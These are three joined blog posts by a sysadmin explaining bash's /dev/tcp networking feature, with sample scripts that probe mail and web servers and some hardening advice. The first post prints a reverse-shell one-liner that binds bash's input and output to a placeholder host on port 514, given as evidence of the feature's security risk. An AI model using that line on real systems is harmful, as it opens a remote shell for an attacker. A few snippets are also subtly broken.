When Features Attack: Bash Version 4.0.0(1)-rc1

How do?,

Before we get started today, I just wanted to reflect on our posts' introductions. Usually it's "Hey there," or something to that effect. Being one of those people who are bothered by redundancy (at least, after the 50th time ;) this is the one part of blog posting I find the most grating. And, since everything reminds me of a George Carlin quote, I think he put it pretty well in this little paragraph about saying goodbye to your fellow man (from "Napalm And Silly Putty"):

Then have you noticed this, you get in a rut with the way you say goodbye. You ever find yourself using the same phrase over and over again with everybody, you feel a little stupid. Like if you're leavin' a party, and you have to say goodbye to five people, you say, "OK, hey take it easy, OK, hey take it easy, OK, hey take it easy..", you feel like a goddamn moron, ya know? So you know what I do? Every month, I change the way I say goodbye. Whether I need to or not, every month I start using a different phrase. People notice that. They appreciate that extra effort. They'll say to me, "Pardon me, didn't you used to say, 'OK, hey take it easy'". I say, "Yes I did. but not anymore." Now I say "Farewell". Farewell 'til we meet again, Peace be with you. May the forces of evil become confused on the way to your house. That's a strong one, isn't it? People will remember you if you talk like that. Then sometimes you can combine certain ways to say goodbye that don't really seem to go together, like, "Toodle-oo, go with God, and don't take any wooden nickels." Then people don't know what the fuck you're talking about! Or you can say goodbye in a realistic manner. "So long Steve, don't let self-doubt interfere with plans to improve your life." Well, some people need practical advice.

Anyway, that being said, my options are somewhat limited, since I'm old enough to feel silly saying (or writing) things like "Word," or "What's the haps?" The first one is slang that just doesn't belong to my generation. I might find it amusing, but, at the same time, it seems like it might be confusing or taken the wrong way. The second one seems to have come around within the last year or so and, despite its down-home flavour and growing presence, I've yet to meet anyone who's actually ever said it and, to be quite honest, whenever I read that greeting in an email I mentally envision a middle-aged white man tragically out of touch with the youth culture of today and, also tragically, clamoring out in a weak last-ditch effort to stay hip. I pretty much understand everything most kids say to each other, but I've never felt the need to incorporate any of it into my own dialogue. The only exception is if I'm being sarcastic, which the kids pick up on immediately. They're not stupid and they can smell desperation. I would imagine that they (as I did when I was younger) look to the adults among them for some sense of normalcy, even in the form of language. As a parent, I don't discourage my kids from "fitting in," but I do try to provide a point of reference for them so they can go out into the world and speak intelligently to the older people that will be signing their paychecks (unless they're paying themselves, in which case they're either incredibly successful or possibly schizophrenic ;) Anyway, that being said (damn it! ...redundancy again ;), let's get on with this post. I'm getting farther and farther off-topic. It's a good thing I'm not getting paid for this ;)

On-topic (although this post is much less interesting than the Fox special where the latest build of bash mauls one of its handlers on film ;) I finally found some time and compiled version 4.0.0(1)-rc1 which, I believe, is the latest release out there right now (I could very well be wrong, as I completely missed 4.0-beta2). One of the first things I noticed when looking at the configurable options is that the ability to access the network via Bash's /dev/tcp networking functionality is now an actual option ( --enable-net-redirections ) to configure. When I saw this, I thought two things:

1. Although this used to be enabled by default (which sparked some controversy) , now you have to specifically add it when you build. Of course, conversely, you can specifically exclude it, as before, which leads to the next point...

2. With regards to disabling the net redirection feature, I'm curious if it's a more secure implementation or if it's just being "recognized." Part of me figures that security issues will probably continue to exist with this feature, or it wouldn't be disabled by default. This way, anyone who wants to compile on their own, isn't aware of any of the security risks, and just does a robotic-build (./configure;make;make install - or, and I can't be certain of this, installs the default-build rpm, dpkg, pkg, etc) won't be vulnerable. I've seen a lot of debate on the blogs and boards about whether or not bash's implementation of net redirects is, in fact, a real security risk. For instance, labs.neohapsis.com has this nice online tutorial on how to connect back to the shell using bash net redirects. If you don't want to hop over there, I tested this with net redirects built into bash 4.0.0(1)-rc1 and it still works:

host # exec /usr/local/bin/bash 0</dev/tcp/host/514 1>&0 2>&0

HAPPY NOTE: If you're stuck with any bash version (or pre-compiled OS package), you can still - for the most part - disable bash's net redirect functionality (except in the case of the root user and/or anyone with equal system privilege) in, probably, more than one way. Check out our old post on securing /dev/tcp and /dev/udp if your OS allows you to set extended file access control lists. Restricting the permissions on /dev/tcp and /dev/udp to that extent doesn't actually remedy the underlying situation, but it does make it a lot harder to exploit.

I've included a combo-script (built from various older ones we've posted before) so that you can test your system/OS's behaviour when implementing this functionality with the latest version of bash. I'll probably be goofing around with this a lot in the near future ( although I promise not to bother you with every boring detail ;), as it could make some of our older bash scripts much tighter and outside-software-independent if it proves out.

Farewell 'til we meet again, Peace be with you. May the forces of evil become confused on the way to your house ;)

P.S. In the pictured output below, I used "www.tinyurl.com" for the httpserver variable so it would get the 301 redirect and you'd be able to see all the output from the script. If you run this script against "tinyurl.com" you'll get back the entire page, which runs a bit long)

Click on the picture below for the fun-sized version ;)



Cheers,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash
#
# httpg11
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

#
# Just edit these to your preferences -
# $domain should just be the domain.com part of your $mailserver address
#

mailserver="mail.domain.com"
domain="domain.com"
httpserver="www.tinyurl.com"

echo "Testing mail server functionality"
exec 9<>/dev/tcp/$mailserver/25
read -r server_version <&9
echo "Server reports it is: $server_version"
echo "HELO $domain" >&9
read -r greeting <&9
echo "Server responded to our hello with: $greeting"
echo "VRFY username" >&9
read -r vrfy_ok <&9
echo "Server indicates that this is how it feels about the VRFY command: $vrfy_ok"
echo "quit" >&9
read -r salutation <&9
echo "Server signed off with: $salutation"
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "--------------------------------------------------"
echo "Testing web server functionality - Here it comes..."
exec 9<>/dev/tcp/$httpserver/80
echo "GET / HTTP/1.1" >&9
echo "Host: $httpserver" >&9
echo "Connection: close" >&9
echo "" >&9
while read line
do
echo "$line"
done <&9
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "done"

, Mike

---

Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!

---

Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

---

More Fun With Bash Networking

Greetings,

You may recall a post we did about a week or so ago on accessing the network directly with bash. Today's post is a bit of a follow up to that introduction, with some tips and clarification added for clarity and/or enjoyment ;)

1. The basic setup (this will be the only part revisited from our original post on bash networking. In order to get any of this started, you'll need to exec a file descriptor in bash. The file descriptor can, theoretically, be any number, but you should avoid 0, 1 and 2, as these are generally reserved by most Unix or Linux shells for standard input, standard output and standard error I/O. To exploit bash's "virtual" /dev/tcp filesystem (note that you can use /dev/udp as well; it just depends what you're planning on doing - if you wanted to interact with an old NIS server, you might "need" to use the udp protocol), the setup is simple enough. Assuming we wanted to use file descriptor 9 to hit a google web server on port 80, this is what we'd type on the command line:

host # exec 9<>/dev/tcp/www.google.com/80 <--- We've now connected to www.google.com.

2. The rest of it depends on what you want to do. The most basic operation would be to send information to the new file descriptor, read information from it and close it. Those three things can be done like this:

host # echo -e "GET /search?q=linux+unix+menagerie HTTP/1.0\n\n" >&9 <--- And now, we've requested a search page
host # while read line <&9
do
echo -n $line >&1
done <--- Now, we read the HTML page that gets returned.
host # exec 9<&- <--- This closes the standard input for our new file descriptor
host # exec 9>&- <--- and this closes the standard output

3. Using HTTP 1.1 instead of 1.0. This is actually quite easily done (and you can do it through Telnet to port 80 on any given host, as well. Telnet will allow you to connect to any specified port on a host and interact with it. You just need to know what to type ;). It just requires a bit more typing on our part. Assuming we have the initial file descriptor set up, per step 1, we would do this to initiate an HTTP 1.1 connection and read from it.

host # echo -e "GET /search?q=linux+unix+menagerie HTTP/1.1" >&9 <--- Note the lack of the double carriage return. This isn't absolutely necessary, but if those returns are typed, they obviate the next line.
host # echo -e "Host: www.google.com\nConnection: close\n" >&9 <--- This line tells HTTP/1.1 that we want to close the connection once our query, or page request, completes. HTTP 1.1 will keep the connection open until it times out unless you do this, while HTTP 1.0 will close it immediately after you send one request.

And then you can go ahead and read the response and close the file descriptors in the same manner as above.

4. Implementing host headers. You may find that more and more web servers require "host headers" when you send them an HTTP 1.1 request. These, technically are only required for virtual hosting, but it's becoming more and more common for out-of-the-box webservers to run the main server as a virtual host. It's easy to send a request to our file descriptor in this manner, as well. We just need to modify it slightly.

host # echo -e "GET /search?q=linux+unix+menagerie HTTP/1.1\nhost: http://www.google.com\n\n" >&9

5. Sending a POST request rather than the standard GET. This again, is just a modification on the main method. All you need to tell the server is that you're performing a POST action and send it the POST data (This is basically how the folks in security check to see if they can mess with your cgi forms):

host # echo -e "POST /search?q=linux+unix+menagerie HTTP/1.1\n\nHere Are All My POST Variable=Value Pairs" >&9

6. Ignoring the header information when requesting an HTML page using bash networking through file descriptors. This is kind of "voodoo," but is almost 100% guaranteed to work. The first blank line you encounter when you read your response to the query you send to a web server is (almost) always the end of the header section. The header section includes varying information on web server type, version, age, etc, but isn't worth reading if you just want the web page back. You can avoid looking at it by running this after you make the initial GET request:

host # while read <&9
do
 line=${response//$'\r'/}
 if [ -z "$line" ]
 then
  break
 fi
done

And then you can move on and continue reading from the file descriptor, and closing it, just like in step 2:

host # while read response <&9
do
 echo -n $response >&1
done
exec 9<&-
exec 9>&-

7. What you get if you settle. Interestingly enough, bash's "virtual" tcp (or udp) filesystem defaults to connecting to a webserver. If you simply exec a new file descriptor without any arguments, the "virtual" /dev/tcp, and /dev/udp, file system is still created. It defaults to port 80 and the tcp protocol. In fact, the virtual file system "always" exists. Why? Because your shell automatically opens file descriptors 0, 1 and 2 when it initializes. So, basically, when you login, you've already got a path to the net :) How to use it meaningfully is another thing entirely, but you can do this right out of the gate, just after logging in:

host # echo -n "GET / HTTP/1.0\n\n" >/dev/tcp/www.google.com/80

although, thankfully, it doesn't work all that simply and involves serious risk.

Exec'ing an additional file descriptor is a better practice when doing this sort of thing, because you don't want to muck with the 3 basic ones. If you make a mistake on file descriptor 9, for example, it's no big deal if it gets disconnected or something else weird happens to it. If file descriptor 0 get whacked, you won't be able to type to the terminal, and if file descriptors 1 or 2 get destroyed, you won't be able to see some, or all, of the output the shell is sending to your terminal. In either case, you risk losing your connection to your terminal session entirely.

Again, you can use bash's "virtual" networking to connect to any port that already has a service listening on it. Unfortunately, as far as I know, at this time, there is no way to "initiate" (or bind to) a network port using this method and the bash shell (or any Unix or Linux shell, for that matter). If it ever becomes possible, I'll be sure to post about it, because it will open up a whole new can of worms for all of us ;)

Again, if you would like further basic explanation (and a sample script) regarding setting up bash's "virtual" network connections, see our previous post on bash file descriptor networking.

Cheers, and enjoy!

, Mike

linux unix internet technology

Using Bash To Access The Network Via File Descriptors

Greetings,

It's been a while since we looked at down-and-dirty shell tricks, and this one comes as a tangential follow-up to our previous post on finding and reading files in the shell when your system is on the verge of a crash.

The first thing I'd like to clear up before we proceed is that, in re-reading that post, I notice that I was being a bit of a ksh-snob in the section regarding reading the contents of a regular file through a file descriptor to save on resource usage. My example line in that post, after exec'ing file descriptor 7, was:

host # while read -u7 line; do echo $line; done

And, as most bash fans probably noted, that syntax doesn't work in bash. That's what I get for only verifying the output in ksh ;) What that line should have read (since this will work in sh, ksh and bash) was:

host # while read line;do echo $line;done <&7

Apologies all around. In any event, that "mistake" serves as a fairly decent segue into what we're going to be looking at today. That same basic process of exec'ing file descriptors to read files directly is how we're going to use bash to read from the network directly using /dev/tcp.

And, just to be clear, this "does not" work in Solaris ksh or sh. It will work on Solaris and every Linux I've tested, but only, to my knowledge, in bash. Every version of ksh I've tested (even Solaris 10) can't create the virtual file system required by this operation. I've attached a small bash script, at the end of the post, to check a mail server and http server, so you have a working example of the process.

This method of accessing the network is very useful to know how to do and, going through it step by step, is actually very simple to accomplish. We'll use a mail server as our example since it involves both reading and writing to the network file descriptor.

The first thing you'll want to do is "exec" the file descriptor you'll be using to communicate on the network via tcp. You can do this like so (Just be sure not to exec file descriptors 0, 1 or 2, as these should already be assigned by your operating system as "Standard Input (STDIN)," "Standard Output (STDOUT)," and "Standard Error (STDERR)" :

host # exec 9<>/dev/tcp/mail_server.xyz.com/25 <-- Here we create file descriptor 9 via exec, open the /dev/tcp/mail_server.xyz.com/25 "virtual file" and assign file descriptor 9 to it.

Note that this line is where the script, or process, will either make or break. ksh (Definitely for Solaris 9 and 10) does not allow the creation of the virtual filesystem below /dev/tcp that this operation requires. If you attempt to do this in ksh you will most likely get the following error:

host # /dev/tcp/mail_server.xyz.com/25: cannot create

Assuming we're using bash, and that worked okay, we can now write to, and read from, our mailserver over port 25. This is analogous to doing something like Telnetting to port 25, but we're using a built in feature of the bash shell to access the network via a pseudo file system created under /dev/tcp (It acts much like a /proc filesystem, although you can't see what you've created by looking at the file that /dev/tcp links to, since it's a character device file and the directory path /dev/tcp/mail_server.xyz.com/25 doesn't "really" exist :)

Now we can send input, and receive output, using standard file descriptor redirection commands. A few "for instances" below:

host # echo "HELO xyz.com" >&9 <--- This sends the HELO string to our mailserver via file descriptor 9, which we exec'ed above.
host # read -r RESPONSE <&9 <--- This reads the data coming in on file descriptor 9 with as little interpretation as possible (for instance, it treats the backslash (\) as a backslash and doesn't imbue it with it's usual "special" shell powers).
host # echo -n "The mail server responded to our greeting with this load of sass: "
host # echo $RESPONSE

And, now, we can write to, and read from, file descriptor 9 until we have nothing left to say ;) When we're all finished, I find it's good practice to close the input and output channels for our file descriptor (although closing the input should be sufficient in most cases), and, if you want to or need to, you can also dump the remainder of the file descriptor's contents before you close it down.

host # cat <&9 2>&1 <--- Dump all of the remaining input/output left on file descriptor 9 to our screen.
host # 9>&- <--- Close the output file descriptor
host # 9<&- <--- Close the input file descriptor

Now, you're back to the way things were and you shouldn't be able to read or write from file descriptor 9 anymore (or, if you're a glass-half-full person, it's now available for use again :) I've tacked on a small script to demonstrate some basic functionality, but, hopefully, you'll have some fun playing around with this and figure out more, and better, ways to manipulate your server's interaction with the network through the file system.

host # ./check_net.sh <--- As simple as that to run it :)

Cheers,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash
#
# check_net.sh
#
# 2008 - Mike Golvach - eggi@comcast.net
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

mailserver="mailserver.xyz.com"
httpserver="www.xyz.com"
domain="xyz.com"

echo "Testing mail server functionality"
exec 9<>/dev/tcp/$mailserver/25
read -r server_version <&9
echo "Server reports it is: $server_version"
echo "HELO $domain" >&9
read -r greeting <&9
echo "Server responded to our hello with: $greeting"
echo "VRFY username" >&9
read -r vrfy_ok <&9
echo "Server indicates that this is how it feels about the VRFY command: $vrfy_ok"
echo "quit" >&9
read -r salutation <&9
echo "Server signed off with: $salutation"
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "--------------------------------------------------"
echo "Testing web server functionality - Here it comes..."
exec 9<>/dev/tcp/$httpserver/80
echo "GET / HTTP/1.0" >&9
echo "" >&9
while read line
do
        echo "$line"
done <&9
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "done"

, Mike

linux unix internet technology